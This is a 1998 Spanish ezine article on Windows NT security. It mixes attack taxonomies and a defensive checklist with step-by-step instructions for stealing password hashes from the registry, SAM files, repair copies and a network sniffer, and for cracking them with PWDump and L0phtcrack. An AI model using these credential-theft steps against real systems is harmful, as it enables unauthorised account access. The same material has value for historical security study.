Nickname
A Chatear seguro hay alguien conectado
-[
0x0F ]--------------------------------------------------------------------
-[
Hacking NT v 1.0 ]--------------------------------------------------------
-[
by Chessy ]--------------------------------------------------------SET-15-
_ _ __ _____
/\ /\ __ _ ___ | | __(_) _ __ __ _ /\ \ \/__ \
/ /_/ / / _` | / __|| |/ /| || '_ \ / _` | / \/ / / /\/
/ __ / | (_| || (__ | < | || | | || (_| | / /\ / / /
\/ /_/ \__,_| \___||_|\_\|_||_| |_| \__, | \_\ \/ \/
|___/
__________________________________________________________________________
Hacking
NT v1.0 por Chessy, 8 de Mayo de 1998.
'Remember,
before asking a question, always try to answer yourself first'
__________________________________________________________________________
Basandome
en un esqueleto de texto fruto de la traducci¢n del articulo de la
ezine
The Havoc Technical Journal n§ 13, por WaRsPrItE, y docs del grupo
Rhino9,
Technotronic, The Gnome NT Hacking FAQ y diversos articulos del
CERT,
CIAC, listas de distribucion NTBugTraq, BugTraq, NTSecurity, AntiOnline,
Rootshell,
ezines Saqueadores, Phrack, JJFHackers, libros Maximum Security,
Manual
de Seguridad de Windows NT, la web de Microsoft sobre seguridad,
el
documento Hardening NT, articulos de seguridad en la revista PC Actual
y
cientos de referencias extraidas de la Web. Para mas detallada informacion
sobre
la bibliografia se ha incluido el Apendice A.
Copywrong
¸ Chessy'98. All disclaimers applied.
Licencia
de uso y distribucion en <disclaim.txt> que acompa¤a al zip de
SET
15.
Contenido
1.
Seguridad en Sistemas Distribuidos basados en Windows NT..........
1.1.
¨Por que preocuparse de la seguridad?.............................
1.1.1.
El Crecimiento de Internet vs. Ataques en Internet..................
1.2.
¨Merece la pena el esfuerzo de centrarse en NT?.......................
1.3.
Ataques a Windows NT. Una taxonomia de los posibles ataques............
1.4.
Defensas en Windows NT. Una taxonomia de las posibles defensas.........
2.
Basico. Como y donde conseguir el fichero de passwords...................
2.1.
Accediendo a los passwords...........................................
2.1.1.
Volcandolos desde el Registro........................................
2.1.2.
Extrayendo los password hashes de un fichero SAM.....................
2.1.3.
Usando un Sniffer en la red local....................................
3.
Hacking & cracking de passwords. PWDump & L0phtCrack.....................
3.1.
Informacion sobre el volcado de Passwords en NT con la utilidad PWDump.
3.2
Como usar la utilidad PWDump.......................................
3.3.
Como funciona PWDump................................................
3.4.
El codigo fuente de PWDump..........................................
3.5.
Informacion sobre el crackeo de Passwords en NT. La utilidad L0phtcrack
3.5.1.
L0phtcrack. Crackeo de passwords con encriptacion LANMAN y/o MD4.....
3.5.2.
¨Por que es tan importante ser capaz de atacar solo claves MD4?.....
3.5.3.
Rendimiento de L0phtcrack...........................................
3.5.4.
Donde conseguir la herramienta L0phtcrack...........................
4.
Introduccion a NetBIOS............................................
4.1.
¨Que es NetBIOS?.......................................................
4.2.
Servicio de Nombres en NetBIOS.........................................
4.3.
El servicio de 'Session' NetBIOS.......................................
4.4.
Datagramas NetBIOS.....................................................
5.
Vulnerabilidades NetBios. NAT.....................................
5.1.
El comando NBTSTAT.....................................................
5.2.
Introduccion a los comandos NET........................................
5.3.
Una sesion de ataque NetBIOS mediante el uso de NET VIEW y NET USE.....
5.4.
Una sesion de ataque NetBIOS mediante el uso de NAT.EXE................
6.
Vulnerabilidades en Internet Information Server (IIS).............
6.1.
Entrando por la puerta trasera.........................................
6.2.
El ataque Pipe HTTP/FTP................................................
6.3.
Otros ataques al IIS...................................................
6.4.
Conclusion a los ataques IIS...........................................
7.
Ataques tipo D.o.S. (Denial of Service)...........................
7.1. Ataque OOB......................................................
7.2. Ataques Teardrop I y II, NewTear, Bonk, Boink...................
7.3. Ataque Land.....................................................
7.4. Ataque Smurf....................................................
8.
El vulnerable Registro de Windows NT..............................
8.1.
¨Que es el registro?...................................................
8.2.
¨Que son los 'hives'?..................................................
8.3.
Los fallos del registro................................................
8.4.
Acceso remoto al registro..............................................
9.
Spoofing (un ataque comun a otros sistemas).........................
9.1.
Introduccion. IP Spoofing & DNS Spoofing...............................
9.1.
DNS Spoofing...........................................................
10.
Otros ataques via Web...............................................
10.1. Ataques por JavaScript, VBScript...............................
10.2. Ataques por vulnerabilidades en los navegadores................
10.3. Ataques por Java...............................................
10.4. Ataques por ActiveX............................................
11.
Medidas de seguridad Service Pack & HotFix..........................
11.1.
Como parchear el sistema. Service Pack & Hot-Fix......................
11.2.
Listado de Service Pack 3 & Hot-Fix-post-SP3.....[no incluido]........
12.
Escaneadores de puertos TCP/UDP. Paranoic...........................
12.1.
El arte del escaneo de puertos TCP....................................
12.2.
Introduccion..........................................................
12.3.
Tecnicas..............................................................
12.4.
¨Que tecnica usa Paranoic?............................................
13.
Apendice A. Bibliografia............................................
14.
Apendice B. El fichero de passwords de prueba.......................
15.
Apendice C. Los resultados del crackeo de passwords.................
16.
Apendice D. Encuesta y perfil de 100 conocidos hackers..............
1.
Seguridad en Sistemas Distribuidos basados en Windows NT.
1.1.
¨Por que preocuparse de la seguridad?
Desde
1990 hasta nuestros dias, el CERT (Computer Emergency Response Team),
un
grupo de seguridad internacional especializado en dar respuesta a las
empresas
y organizaciones que denuncian ataques informaticos a sus sistemas
de
informacion, viene desarrollando una serie de estadisticas y datos que
demuestran
que cada dia se registran mas y mas ataques informaticos. No solo
eso;
debido al cada vez mayor conocimiento de la tecnologia actual por parte
de
los atacantes (hackers) y a las grandes posibilidades de distribucion e
intercambio
de la informacion en la propia Internet, estos ataques cada vez
son
mas sofisticados, automaticos y dificiles de rastrear. A todo ello se une
el
auge que a las puertas del siglo XXI tiene el mundo de la seguridad
informatica.
Cualquier
crio de 15 a¤os (script kiddies), sin tener grandes conocimientos,
pero
con una potente y estable herramienta de ataque desarrollada por
expertos
hackers, es capaz de dejar fuera de servicio cualquier servidor de
informacion
de cualquier organismo en Internet, simplemente siguiendo las
instrucciones
que acompa¤an la herramienta.
Recientemente,
hemos visto, escuchado y leido por todos los medios de
comunicacion,
noticias sobre la detencion de varios grupos de hackers,
incluido
uno espa¤ol (Mentes Inquietas), acusados de haberse infiltrado en
sitios,
en principio tan inviolables y bastiones de seguridad, como el
Pentagono
o la NASA.
Es
evidente que la prensa, radio, television, los gobiernos y los cuerpos de
seguridad
del Estado (norteamericano FBI, o espa¤ol Guardia Civil) que
intervinieron
en estas detenciones magnifican la noticia en busca de una
audiencia
cada vez mas escasa o de un reconocimento de su habilidad. En
ocasiones,
ademas, provocan una actitud de desprecio y miedo a uno de los
mayores
descubrimientos de la Humanidad, Internet, debido al desconocimiento
de
gran parte de esa audiencia de las ventajas (no solo inconvenientes) que
reporta
la red de redes.
Este
estudio no pretende alarmar a nadie ni sembrar la semilla del futuro
hacker,
sino servir de informacion a todo aquel minimamente interesado en
proteger
su/s sistema/s informatico/s. Evidentemente, la informacion puede ser
aprovechada
para fines menos licitos, pero es algo que nunca se podra evitar
y
que ciertamente, tampoco me importa. La mayor parte de la buena informacion
sobre
seguridad se encuentra en los sitios de grupos de hacking, underground
y
cyberpunks que pueblan Internet. Sin su ayuda, este trabajo no hubiera sido
posible,
o hubiera bajado muchos puntos de calidad.
Segun
las estadisticas del CERT el numero de incidentes declarados bajo de
2573
en 1996 a 2134 en 1997. Esto puede ser debido a muchas causas, pero no
necesariamente
a que haya bajado el numero de ataques:
a)
Las empresas u organizaciones no se pueden permitir el lujo de denunciar
ataques
a sus sistemas, pues el nivel de confianza de los clientes
(ciudadanos)
bajaria enormemente. ¨Que pensaria un cliente de un banco si
este
declara que cada a¤o sufre 200 ataques informaticos, aunque ninguno
de
ellos
hubiese terminado exitosamente para el atacante? ¨Que pensarian los
ciudadanos
de los EEUU si el Pentagono anunciase cada uno de los cientos de
ataques
que sufren a lo largo del a¤o? (Hay que notar que este lugar, es una
de
las pruebas de fuego para todo hacker).
b)
Cada vez mas, los administradores tienen una mayor conciencia respecto de
la
seguridad de sus sistemas y arreglan por si mismos las deficiencias
detectadas.
A esto hay que a¤adir las nuevas herramientas de seguridad
disponibles
en el mercado y las nuevas empresas dedicadas a este tema que
han
surgido a lo largo de los a¤os.
c)
El propio CERT ha tenido que lanzar cada a¤o mas 'advisories' (documentos
explicativos)
sobre los nuevos agujeros de seguridad detectados y la forma de
solucionarlos,
pasando de 15 advisories y 2 boletines especiales en Diciembre
de
1994 a 28 advisories y 16 boletines en Diciembre de 1997.
1.2.
¨Merece la pena el esfuerzo de centrarse en NT?
Nada
mejor que un nuevo par de estadisticas graficas para demostrar que
efectivamente,
Windows NT es un sistema operativo de red (orientado cada vez
mas
a Internet) con futuro. Eso si, siempre con el permiso de los nuevos
sistemas
operativos Inferno y en especial LiNUX, sistema operativo de red muy
estable
y GRATUiTO, que estan adoptando cada vez mas y mas empresas, en
especial
aquellas que quieren ofrecer servicios Web, al disponer de un
servidor
muy eficiente, estable y gratuito: APACHE. La ventaja de Microsoft
hoy
en dia, es que puede ofrecer servicio tecnico, y que muchas empresas
desconfian
de una de las mayores ventajas de LiNUX, su gratuidad, ademas de
la
facilidad de instalacion de un sistema NT vs. uno LiNUX.
[NOTA:
Recordad que en esta version ascii no se pueden ver los graficos, para
leer
el documento completo y original (version Word) podeis recogerlo en la
web
de SET]
Una
nueva nota, que no hace ms que alejar cualquier atisbo de duda:
[7-VI-98]
PC-Actual n§ 97, Secci¢n Actualidad/Mercado
V Encuesta de Satisfacci¢n de Usuarios de Computing
812 grandes empresas espa¤olas opinan sobre el S.O. utilizado
El semanario europeo de tecnolog¡as de la informaci¢n Computing
ha
publicado recientemente su V encuesta de satisfacci¢n de usuarios,
realizada por CB Consulting. En ella han participado 812 directores de
informtica de empresas con una facturaci¢n superior a los 1000 millones
de pesetas.
Tres sistemas operativos se reparten el favor de los grandes usuarios:
HP/UX, OS/400 y Windows NT con una cuota de mercado que oscila entre el
19% del primero y el 15% del ultimo. Eso s¡, la proyecci¢n de NT
es
imparable.El 42% de los encuestados afirm¢ que su sistema operativo
futuro ser Windows NT, frente a un 12% Unix y un 5'7% HP/UX (OS/400
ser¡a la elecci¢n futura de un 3'8%).
Ms informaci¢n: http://www.bpe.es/computing
1.3.
Ataques a Windows NT. Una taxonomia de ataques genericos.
Veamos
primero una posible taxonomia de los ataques a redes y ordenadores en
general.
Del capitulo 6 de la tesis.
Atacantes
Hackers
Espias Terroristas Criminales Vandalos Espionaje
Profesionales (Crackers) Industrial
Herramientas
Linea
de Script o Agente Herramientas Herramientas Intervencion de
Comandos
Programa Autonomo Integradas Distribuidas comunicaciones
Metodos de acceso
Vulnerabilidades
Vulnerabilidades Vulnerabilidades Acceso o uso
en
implementacion en dise¤o en configuracion no autorizado
Procesa
---> Flujo de datos | Ficheros
Resultados
Corrupcion
de Revelacion de Acceso a servicios Denegacion de
informacion.
informacion no autorizados servicios
Objetivos
Desafio Ganancia Ganancia Da¤ar
Politica Financiera
1.3.
Ataques a Windows NT. Una taxonomia de ataques especificos a NT.
D.O.S
(Denegacion de servicio) === Teardrop Land
Spoofing
== DNS Spoofing IP Spoofing
'Man
in the middle'== Web Spoofing
Ataques
al registro == L0pthcrack RedButton
Ataques
de Red == NetBIOS NAT
Ataques
de diccionario == Ataque via Samba Ataque via IIS
Bugs
del sistema NT == GetAdmin
Ataques
a servidores Web. == IIS Bug 8+3
Sondeos
== Puertos DNS
Bugs
en la seguridad de las
aplicaciones
== Buffer Overflow FTP Bounce Attack
Ataques
con
tecnologias
Web == Bug JavaScript Bug RadiactiveX
Troyanos
== FPNWCLNT.DLL MSGINA.DLL ("Graphical
Identification and Autorization")
Ataques
Locales ==
Ataques a las aplicaciones. == NTFSDOS.EXE ROLLBACK.EXE
Sniffers == L0phtcrack Asmodeus
1.4.
Defensas en Windows NT. Una taxonomia de las posibles defensas.
Las
posibles acciones correctivas, se presentan aqui a modo de checklist,
debido
a que muchas veces, para solucionar distintos tipos de ataque, se
deberian
seguir metodos de correccion similares. Por ello, lo ideal seria
repasar
una lista generica de chequeo y comprobar que se han intentado todos
los
metodos aqui expuestos antes de implicar a organismos como el CERT u
otros
relacionados con la seguridad informatica.
1.
Modificar el codigo fuente del programa que falla.
2.
Filtrado de paquetes (sin necesidad de firewall).
PanelControl/Protocolos/Avanzada.
3.
Encriptar la informacion que fluye por la red.
4.
Utilizar otro sistema operativo u otro ordenador.
5.
Esperar un hotfix de Microsoft (requiere tiempo).
6.
Configurar bien el firewall (o instalar uno). Como minimo se debe
negar
el acceso desde el exterior a los puertos comprendidos entre el
135
y el 139 (NetBIOS) tanto para TCP como UDP.
7.
Actualizarse a la ultima version del programa/aplicacion vulnerable.
8.
Deshabilitar los servicios que no se usen (ejemplo: los Simple TCP/IP
Services,
como echo, chargen, QOTD,...)
9.
Instalar el ultimo Service Pack disponible (actualmente el SP3, pero
esta
a punto de salir el 4).
10.
Editar el Registro de NT (regedit, regedt32). Lee el apartado dedicado
a
las vulnerabilidades del registro de Windows NT.
11.
Auditar el sistema (estudiar los logs para identificar al atacante).
12.
No permitir arranque desde disquete, ni arranque dual (evitando asi el
acceso
a los volumenes NTFS).
13.
Utiliza un escaneador de vulnerabilidades (que no sea de Microsoft)
regularmente,
y pasa antivirus siempre que puedas.
14.
Eliminar el servicio vulnerable (solucion drastica)
15.
Pedir ayuda en las distintas listas de distribucion, news, IRC, Web
para
conseguir mas informacion.
16.
Usar la version USA de NT para acceder mas rapidamente a los hotfix.
17.
Lee todas las paginas Web que aparecen en el apendice. Frecuentemente.
18.
Suscribete a las listas de distribucion que aparecen en el apendice de
este
documento y lee los foros de noticias relacionados con la
seguridad
que tambien se citan. Diariamente.
19.
Suscribirse a la pagina de NTBugtraq para recibir actualizaciones de
los
nuevos parches 2 horas despues de su publicacion.
20.
Restringir el acceso al soft/hard del sistema, tanto fisica como
logicamente.
21.
Consultar todos los documentos y manuales de la aplicacion.
22.
Configurar adecuadamente los ACL (Access Control List)
23.
Usar el Kit de Recursos de NT (alguna accion correctiva ya esta
implementada
en alguna herramienta de este kit).
24.
Deshabilitar la posibilidad de conexion remota al servidor en las
workstations
de la red.
25.
Formatear el disco con el modelo NTFS
26.
Quitar todos permisos de lectura al grupo Everyone del registro.
27.
Usar el servicio de auditoria que ofrece NT (sobre todo si ofrecemos
servicios
Internet)
28.
Asegurarse de que los ficheros solo tienen permisos de lectura y
ejecucion.
Intentar separar los ficheros publicos de los privados.
29.
Crea una politica restrictiva de passwords con la ayuda del User
Manager.
30.
Deshabilita la opcion que muestra el ultimo usuario conectado cuando
se
inicia una sesion.
31.
Inserta un banner para cuando un usuario comienza una sesion, que
indique
que todas sus acciones seran auditadas. Hazlo si no quieres
perder
un juicio seguro (el intruso puede alegar que sus acciones no
podian
ser auditadas al no habersele avisado antes !)
32.
Deshabilita el derecho de conexion "Acceso a este ordenador desde la
red"
que se le concede a los administradores en los controladores de
dominio.
33.
Si puedes, deshabilita el servicio de Scheduler (planificador). El
Scheduler
puede utilizarse para ejecutar programas con permisos de
sistema.
34.
Restringe el acceso a ciertos ejecutables que creas peligrosos
(posiblemente
CMD.EXE o NTBACKUP.EXE)
35.
Instala los servidores Web, Ftp, Gopher... TRAS (fuera de) EL
FIREWALL.
36.
Cambia el nombre de login del 'Administrador'. Si no lo haces, el
intruso
siempre podra atacar esta cuenta por medio de un ataque de
diccionario
o fuerza bruta.
37.
Estudia todo lo que puedas sobre como configurar bien un firewall y
las
diferentes opciones que existen.
38.
Lee los logs diariamente. usalos como una guia pero no confies
ciegamente
en ellos. No todo lo que ocurre en el ordenador esta en los
logs.
Investiga todo lo que consideres extra¤o.
Ademas,
una vez identificado un ataque/atacante, se pueden llevar a cabo las
siguientes
acciones externas:
*
Medidas contra el intruso:
+
Avisarle
+
Arrestarlo
+
Multarle
*
Acciones legales contra el intruso:
+
Tracear
+
Investigar
+
Contratar un servicio secreto
+
Enjuiciar
+
Llamar a la policia
Para
finalizar, nunca te dejes llevar por el panico, pero se paranoico.
Tomate
todos los eventos relacionados con la seguridad y todos los indicios
de
ataque seriamente, y cuando estes seguro de que algo raro pasa y no puedas
resolverlo
por tu cuenta, contacta con el CERT y/o con el grupo de seguridad
de
Microsoft
2.
Basico. Como y donde conseguir el fichero de passwords.
2.1.
Accediendo a los passwords.
Antes
de que los passwords puedan ser procesados (crackeados), necesitas
conseguir
los password hashes (trozos de password encriptados pero en formato
texto
ASCII, los 'password hashes' en jerga anglosajona). Principalmente,
existen
3 metodos: directamente del registro, de un fichero SAM en disco o
mediante
el uso de un sniffer.
2.1.1.
Volcandolos desde el Registro.
Si
tienes privilegios de administrador puedes conseguir los passwords
encriptados
usando la opcion "Tools Dump Passwords from Registry' de la
utilidad
L0phtcrack (comentada en el capitulo III).
Especifica
el nombre de un ordenador o la direccion IP con el formato tipico
de
MS \\nombre_ordenador o \\direccion_IP. Sin embargo, NT puede ser
configurado
para prohibir el acceso al registro de forma remota a traves de
la
red, por lo que necesitaras estar conectado de forma local a la maquina
que
quieras hackear. Ademas Microsoft ha introducido la utilidad SYSKEY en
el
Service Pack 3 de Windows NT. Si esta utilidad esta ejecutandose en el
sistema
objetivo los password hashes estaran encriptados y no podran ser
extraidos
de esta manera.
Si
usas la version espa¤ola de NT, la palabra Administrator se cambia
por
Administrador;
debido a esto, es necesario modificar una clave del registro
para
conseguir que la opcion 'Dump Passwords' funcione. Ejecuta regedit.exe y
edita
el valor de la siguiente clave:
HKEY_CURRENT_USER\Software\L0pht\L0phtCrack\AdminGroupName
Inicializala
al valor 'Administrador'.
2.1.2.
Extrayendo los password hashes de un fichero SAM.
El
siguiente metodo es una novedad de la version L0phtCrack 2.0. Puedes
extraer
los password hashes del fichero SAM del disco duro, del Disco de
Reparacion
de Emergencia de NT o de una cinta de backup. El Registro de NT
actualmente
esta almacenado en diferentes ficheros del disco de sistema, en
el
directorio d:\winnt\system32\config.
No
se puede acceder a estos ficheros mientras NT este ejecutandose dado que
estan
abiertos en exclusiva por el sistema operativo. Si tienes acceso fisico al
sistema,
puedes arrancar el ordenata con un disquete DOS y usar un programa
como
NTFSDOS (que puede conseguirse en http://www.ntinternals.com/ntfs20r.zip)
para
copiar el fichero SAM de d:\winnt\system32\config a un disquete. Despues
puedes
usar el comando 'File Import SAM' para extraer los password hashes del
fichero
que acabas de conseguir.
Otro
lugar donde encontrar el fichero SAM que no requiere rebotar la maquina
es
en el directorio d:\winnt\repair o en el disco de Rescate de Emergencia.
Cada
vez que se hace un disco de rescate, los contenidos de la rama SAM del
registro
son salvados y comprimidos en el fichero 'sam._'. Este fichero puede
ser
descomprimido con el comando:
expand
sam._ sam
El
fichero SAM descomprimido puede ser importado por L0phtCrack.
El
fichero SAM tambien es guardado en las cintas de copia de seguridad cuando
se
hace
un backup del sistema. Si tienes acceso a una cinta de backup, puedes
restaurar
el fichero SAM de d:\winnt\system32\config a otra maquina e
importarlo
en L0phtCrack.
Si
la utilidad SYSKEY del SP3 de NT 4.0 esta instalada, todos los ficheros
SAM
estan encriptados y no podran ser leidos por L0phtCrack.
2.1.3.
Usando un Sniffer en la red local.
Si
esta instalado SYSKEY y no tienes ni acceso remoto ni acceso fisco, existe
otra
posibilidad para obtener los password hashes: usar un sniffer. Esto
requiere
que tu ordenador este en el mismo segmento de red que el objetivo de
nuestro
ataque. El sniffer incluido con L0phtCrack 2.0, readsmb.exe, solo
funcionara
en Windows NT 4.0. Antes hay que instalar un driver de red NDIS
(si
sigues las instrucciones de instalacion del programa no tendras ningun
problema.)
El
sniffer es un programa con interfaz de linea de comandos (ventana MSDOS)
llamado
readsmb.exe. Ejecutalo y redirige su salida a un fichero con el
comando:
readsmb
> passwd
Si
lo dejas un dia o mas ejecutandose, seguro que recolectas suficientes
passwords.
Despues puedes abrir el fichero generado con el comando 'File Open'
de
L0phtCrack.
3.
Hacking & cracking de passwords en NT. PWDump & L0phtCrack.
Lo
primero de todo, me gustaria decir que creo que la conjuncion de 'PWDump'
con
'L0phtCrack' es una excelente herramienta de seguridad para chequear la
seguridad
de redes basadas en Windows NT. Sin embargo, de la misma manera que
ocurria
con el ahora famoso y sobrevalorado 'SATAN', no es la llave maestra
de
ninguna red NT.
Como
siempre digo en todos los articulos que escribo, la clave siempre esta
en
lo mas basico. Si los usuario eligen buenos passwords, sera practicamente
imposible
crackearlos. Por ejemplo, si cuando eliges un password, usas tanto
mayusculas
como minusculas y numeros, existen 1.240176943466 x 10(25) posibles
combinaciones.
Ahora a¤adele alguna puntuacion decimal a ese numerito!
Recuerda
que en NT el password puede ser hasta de 14 caracteres, a diferencia de
los
8 unicos caracteres que se pueden elegir en los sistemas UNIX. No hace
falta
decir que los ataques de fuerza bruta son inabordables ante un password
bien
elegido en cualquiera de los dos sistemas.
Los
dos programas que se suelen usar para atacar los passwords en NT son
L0phtCrack
y PWDump. Debo decir que PWDump [escrito por Jeremy Allison,
[email protected],
para el proyecto SAMBA] funciona muy bien. Siempre que tengas
privilegios
de administrador. Pero, entonces, ¨por que usarlo para propositos
de
hacking?! Porque trabaja con cualquier copia del registro.
Asi,
cualquier copia de seguridad del servidor que quieras piratear puede
tener
una copia del registro del sistema. El ejemplo del hackeo del servidor
NT
que se muestra en este documento fue gracias a la ineficacia del
administrador
del sistema, el cual permitia a los usuarios de Dominio
conectarse
de forma local en el servidor. Durante la instalacion del sistema,
NT
pregunta si quieres realizar un disco de rescate (rdisk.exe) y la eleccion
por
defecto es "Si". Cada vez que ejecutas rdisk.exe, NT guarda una
copia del
registro
en %SystemRoot%\Repair (donde %SystemRoot% es el directorio del
sistema,
normalmente d:\winnt ). Y los permisos por defecto de ese directorio
son
de "lectura" para todos los usuarios.
Ahora
ya es muy sencillo conseguir una copia del registro. El unico
problema
es que todos los passwords que hayan sido cambiados desde la ultima
vez
que se ejecuto rdisk.exe no funcionaran (evidentemente, pero este es un
problema
menor). Ahora que disponemos de una copia del registro, como podemos
extraer
de ella la rama de los passwords? Bien, busca una maquina NT de la
cual
seas "Administrador", y ejecuta PWDump.exe (normalmente, se suele
tener
una
copia de NT en el ordenador de casa para experimentar ahi antes de llevar
los
ataques a la practica). PWDump.exe volcara toda la informacion de los
passwords
contenida en el registro a un fichero de texto. Despues de eso es
muy
sencillo, solo falta ejecutar L0phtCrack.exe con tu diccionario de
palabras
favorito o usar el programa en modo de fuerza bruta. Llevo 6 dias en
un
Pentium 133 conseguir 3 cuentas (con la rev. 1.0). Sorprendentemente, eran
passwords
de 6 caracteres de longitud, osea, muy pobremente elegidos.
Para
mas info sobre como y donde conseguir el fichero de passwords, ver el
capitulo
II.
3.1.
Informacion sobre el volcado de Passwords en NT con la utilidad PWDump.
Esta
util herramienta es capaz de volcar la base de datos de los passwords
almacenados
en una maquina NT, localizada en el registro de NT (bajo la rama
HKEY_LOCAL_MACHINE\SECURITY\SAM\Domains\Account\Users)
in un fichero con
formato
smbpasswd. Esta funcionalidad esta dise¤ada para ayudar a los
administradores
de maquinas UNIX con capacidad de compartir ficheros e
impresoras
con maquinas NT mediante el programa Samba (como puede hacerse con
LiNUX).
Estos administradores a menudo necesitan sincronizar (sync) la base
de
datos maestra de un su sistema NT, donde guardan una copia de todos los
passwords,
con el fichero de passwords smbpasswd del servidor UNIX/Samba.
Esta
utilidad vuelca, con el siguiente formato, las entradas de passwords del
sistema
NT:
<user>:<id>:<lanman
pw>:<NT pw>:comment:homedir:
Donde
<user> es el nombre de usuario en Windows NT, <id> es el RID de
Windows
NT
(ID relativo) - el ultimo componente de 32 bits del SID de los usuarios de
Windows
NT, <lanman pw> es el hash del password del usuario usando
codificacion
lanman, <NT pw> es el hash del password del usuario usando
codificacion
md4 -notese que si el usuario no tiene password este sera
volcado
como la cadena de caracteres 'NO PASSWORD*****', si la cuenta esta
deshabilitada
o no es valida, se volcaran 32 asteriscos '*'. El apartado
:comment
es una concatenacion del nombre completo del usuario en Windows NT y
el
campo de descripcion en el programa user-manager de Windows NT. El homedir
(directorio
raiz del usuario) por desgracia, no puede contener caracteres ':',
dado
que estos son usados como separadores de campo en el fichero smbpasswd
(como
en UNIX). Por eso, todos los caracteres ':' que vengan tras los
caracteres
que identifiquen las unidades de disco son volcados como
caracteres
de subrayado '_'.
3.2.
Como usar la utilidad PWDump.
Solo
como una sugerencia, recomendaria volcar los passwords de tus maquinas
NT
y despues crear usuarios UNIX normales (en /etc/passwd) con los mismos
numeros
de cuenta UNIX que sus RID en NT - esto hara que replicar el fichero
smbpasswd
sea una tarea mas sencilla un poco mas tarde. Estas cuentas
/etc/passwd
podrian tener las entradas de password deshabilitadas,
prohibiendo
asi a los usuarios NT conectarse al servidor UNIX mendiante una
sesion
telnet (esto es algo similar a quitar el permiso 'Conectarse de forma
local'
en un servidor NT). El fichero smbpasswd creado podria copiarse luego
al
fichero $SAMBA/private/smbpasswd (donde $SAMBA es el directorio raiz de la
instalacion
Samba). Si Samba esta configurado para seguridad a nivel usuario
y
encriptacion de passwords (inicializa la siguiente variable:
security
= user encrypted passwords = yes
en
tu fichero smb.conf) entonces los usuarios de Windows NT/95 conectados al
dominio
NT seran capaces de acceder de manera transparente a los recursos en
la
maquina Samba dado que disponen de un id de usuario UNIX correcto
(el
mismo que acabas de crear). Despues puedes configurar un trabajo 'AT' en
el
servidor NT para volcar periodicamente la base de datos de los passwords
en
nuevo fichero smbpasswd y sobreescribirlo en el servidor Samba para
mantener
las bases de datos de passwords de los dos servidores sincronizadas.
La
utilidad PWDump.exe puede tomar como argumento un \\nombre_de_maquina,
procediendo
al volcado de la base de datos con los passwords de dicha maquina
en
lugar de la maquina local, siempre y cuando se dispongan de los suficientes
privilegios
para hacerlo. Por defecto, siempre volcara la base de datos con
los
passwords de la maquina local.
NOTA:
Los passwords volcados por esta utilidad son equivalentes a los
'passwords
en texto ASCII' del protocolo CIFS y deben ser protegidos. La
seguridad
UNIX en el fichero smbpasswd debe ser inicializada de la siguiente
forma:
Owner
root, permisos rw------- , es decir, lectura/escritura para el
propietario
del fichero, (como hemos dicho, sera el root) y ningun tipo de
acceso
al resto del mundo.
3.3.
Como funciona PWDump.
Esta
utilidad se esfuerza por mantener la seguridad en NT dado que enreda con
las
ramas SAM del registro NT. Ademas, nunca se ejecutara si no posees permisos
de
Administrador. Primeramente, PWDump realiza los minimos cambios necesarios
para
permitir al programa leer las entradas de passwords. Vuelca todas las
entradas
de los usuarios (analiza el codigo fuente para los detalles) y
despues
vuelve sobre sus pasos para restaurar en el registro todas las
caracteristicas
de seguridad de todas las claves que ha tocado. He testeado
este
codigo en un servidor y una estacion de trabajo NT 4.0 y nunca he tenido
problemas,
pero como siempre, este codigo no tiene ninguna garantia.
3.4.
El codigo fuente de PWDump.
El
codigo fuente para esta utilidad puede encontrarse en:
ftp://samba.anu.edu.au/pub/samba/PWDump/PWDump.c
Observese
que este codigo necesita una libreria de encriptacion DES para
compilar.
La que he usado para este documento ha sido la excelente libreria
DES
de Eric Young que se puede encontrar en:
ftp://ftp.psy.uq.oz.au/pub/Crypto/DES/libdes-4.01.tar.gz
que
compila bien bajo Windows NT. Use Microsoft Visual C++ 4.x
como
entorno de compilacion. El codigo binario PWDump.exe tambien se puede
encontrar
en las paginas Web del proyecto Samba para aquellos que no dispongan
de
un compilador. El ejecutable es para plataformas x86 gobernadas por NT.
3.5.
Informacion sobre el crackeo de Passwords en NT. La utilidad L0phtcrack.
El
grupo de hackers L0pht, concretamente [email protected] y [email protected] ,
libero
el 10 de Abril de 1997 la primera revision de la utilidad L0phtcrack,
demostrando
como crackear un password en NT. ( En los primeros meses de 1998, se
libero
la ultima version, la 2.0. que se puede descargar de
http://www2.l0pht.com/users/10pht/lc2exe.zip
)
Recuperando
la salida de passwords en formato LANMAN o en el dialecto de
encriptacion
MD4 de Windows NT que volcaba 'PWDump' desde la rama SAM del
registro,
era capaz de descifrar bien por fuerza bruta o por ataques de
diccionario
los passwords que se le presentaran como entrada.
Usando
la salida de 'PWDump' y un diccionario, L0phtcrack es capaz de obtener:
1)
solo los passwords LANMAN desencriptados
2)
solo los passwords en el dialecto MD4 de NT desencriptados
3)
tanto los passwords LANMAN como los MD4 (derivando los passwords MD4 de
la
salida LANMAN y probando a traves de las 2 a la N permutaciones).
Tambien
es posible usar el metodo de fuerza bruta y probar con todo el espacio
de
claves, recuperando todos los passwords de usuario de hasta 14 caracteres
(recuerdese
que el cuadro de dialogo de conexion de usuarios en Windows NT
solo
permite claves de 14 caracteres de longitud.)
L0phtcrack
puede ser usado ademas de 3 maneras diferentes:
1)
Mediante un entorno grafico tipico de Windows.
2)
Mediante un interface de linea de comandos (MS-DOS)
3)
Modificando el codigo fuente, que viene junto con el programa
ejecutable.
Para
una completa descripcion de como funciona la encriptacion LANMAN y MD4,
consultar
los excelentes documentos disponibles via web en
www.ntbugtraq.com/Contributions/SAMAttack.asp
www.ntbugtraq.com/Contributions/samfaq.asp
3.5.1.
L0phtcrack. Crackeo de passwords con encriptacion LANMAN y/o MD4.
LANMAN
Pasando
como parametro un diccionario, cada palabra sera encriptada usando el
formato
LANMAN con una pasada DES. A continuacion, la lista de usuarios se
chequea
contra esta palabra encriptada. Cualquier coincidencia sera
presentada
como un exito.
MD4
Pasando
como parametro un diccionario, cada palabra sera encriptada usando MD4.
La
lista de usuarios se chequea contra esta palabra encriptada y se marcaran
las
coincidencias.
LANMAN
y MD4
Pasando
como parametro un diccionario, cada usuario sera contrastado
contra
la encriptacion de cada palabra usando el formato LANMAN con una
pasada
DES. Si se encuentra una coincidencia, la palabra se encripta con las
2
elevado a la longitud(palabra) permutaciones de mayusculas/minusculas
posibles
en MD4, para devolver el valor MD4 sensible a mayusculas/minusculas.
Fuerza
bruta
Pasandole
al programa una cadena con la lista de todos los caracteres validos
posibles,
se prueban todas las posibles combinaciones de hasta 7 caracteres
de
longitud (ver el por que solo 7 caracteres y no 14 en la explicacion de la
encriptacion
de passwords en Windows NT ]). La primera y la segunda mitad del
password
LANMAN son comparadas contra cada una de estas posibles combinaciones,
